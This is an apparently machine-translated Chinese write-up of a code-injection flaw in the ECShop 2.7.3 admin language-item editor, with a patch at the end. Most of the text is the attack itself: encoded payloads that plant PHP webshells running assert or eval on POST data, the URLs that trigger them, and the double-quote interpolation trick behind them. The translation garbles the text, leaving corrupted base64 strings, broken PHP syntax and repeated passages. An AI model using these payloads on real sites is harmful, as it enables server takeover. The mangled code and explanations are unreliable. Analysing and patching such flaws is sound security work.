"Go" ecshop Background language item execution vulnerability

The vulnerability needs to be able to login Ecshop background permissions, simple modification under the language project, can be planted in the site Trojan backdoor. The following is a detailed analysis of 1. Login to Ecshop, select template Management, language item editing, search user information Why to search for users

The vulnerability needs to be able to login Ecshop background permissions, simple modification under the language project, can be planted in the site Trojan backdoor. The following is a detailed analysis 1. After landing to Ecshop, select template Management, language item editing, search "User Information" Why search for "user information", can I search for other? The answer is to search any one of the variables in the languages\zh_cn\user.php file 2. Add the following backdoor to change the user information to User Information ${${fputs (fopen (Base64_decode (Sm95q2hvds5waha), W), Base64_decode (PD9WAHAKYXNZZXJ0KAOKX1BPU1RBEF0KKTSKPZ4))} } That is, generate a joychou.php file, the content is (can over safe dog's sentence OH): <?phpassert ($_post[x]);? > 3. Access the user.php to generate the shell (without registering the login account) http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php Or http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php The vulnerability is caused by the 120th line in the admin\edit_languages.php file, modifying the contents of the variable, noting the double quotation marks used. for ($i = 0; $i count ($_post[item_id]), $i + +) {/* Language item contents If empty, do not repair Cause of vulnerability In the admin\edit_languages.php file, in line 120th, modify the contents of the variable and note the double quotation marks. for ($i = 0; $i < count ($_post[' item_id '), $i + +) {/ * Language Item contents If blank, do not modify */if (Trim ($_post[' item_content '][$ I]) = = ') { unset ($src _items[$i]); } else { $_post[' item_content '] [$i] = str_replace (' \\\\n ', ' \\n ', $_post[' item_content ' [$i]); /* $_post[' item_content '] [$i] is the modified content, that is, the addition of "User Information ${${fputs (fopen" and other content $DST _items[$i] is $_lang[' label_profile ') = "User Information ${${fputs (fopen"; */ $dst _items[$i] = $_post[' item_id ' [$i]. ' = '. '. $_post[' item_content ' [$i]. ' "; '; } } After the modified file \languages\zh_cn\user.php variable is: note is double quotes OH $_lang[' label_profile ' = "User Information ${${fputs (fopen (Base64_decode (Sm95q2hvds5waha), W), Base64_decode ( PD9WAHAKYXNZZXJ0KAOKX1BPU1RBEF0KKTSKPZ4)}} "; Because it is a double quote, the code executes successfully as long as the variable is referenced in any PHP file. As for why can it be executed? The principle is as follows: The following three sentences can be executed, rather than code execution, rather than the parameter execution. <?php $a = "${phpinfo ()}"; There is a space $b = "{${phpinfo ()}}"; More than one pair {}, but no spaces $c = "{${fputs (" fopen ("joychou.php", "w+"), "<?php eval (\$_post[1]);? > ")}}"; $d = "Asdf{${phpinfo ()}}"; {characters can be arbitrarily added before the character string?> And http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php This file contains \languages\zh_cn\user.php this file, so you can also code execution. /* Load the language file */require_once (Root_path. ' languages/'. $_cfg[' Lang '. '/user.php '); 5. Bug fixes After understanding the vulnerability principle, repair is a relatively simple thing, simply change the double quotation marks to single quotes Modify \admin\edit_languages.php Fix the former $dst_items[$i] = $_post[' item_id ' [$i]. ' = '. '. $_post[' item_content ' [$i]. '; '; After repair, you must use escape because you want single quotes to appear between single quotes. $DST _items[$i] = $_post[' item_id ' [$i]. ' = '. ' \ '. $_post[' item_content ' [$i]. ‘\‘;‘; After the repair, test, whether there are loopholes. Modify the "User Information" content as previously modified. Open \languages\zh_cn\user.php to see that the variable has become a single quote Once again access to http://www.zuimoban.com/ECShop_V2.7.3_UTF8_release0411/user.php has failed to generate joychou.php, the code has not been executed. (Editor: most templates)

"Go" ecshop Background language item execution vulnerability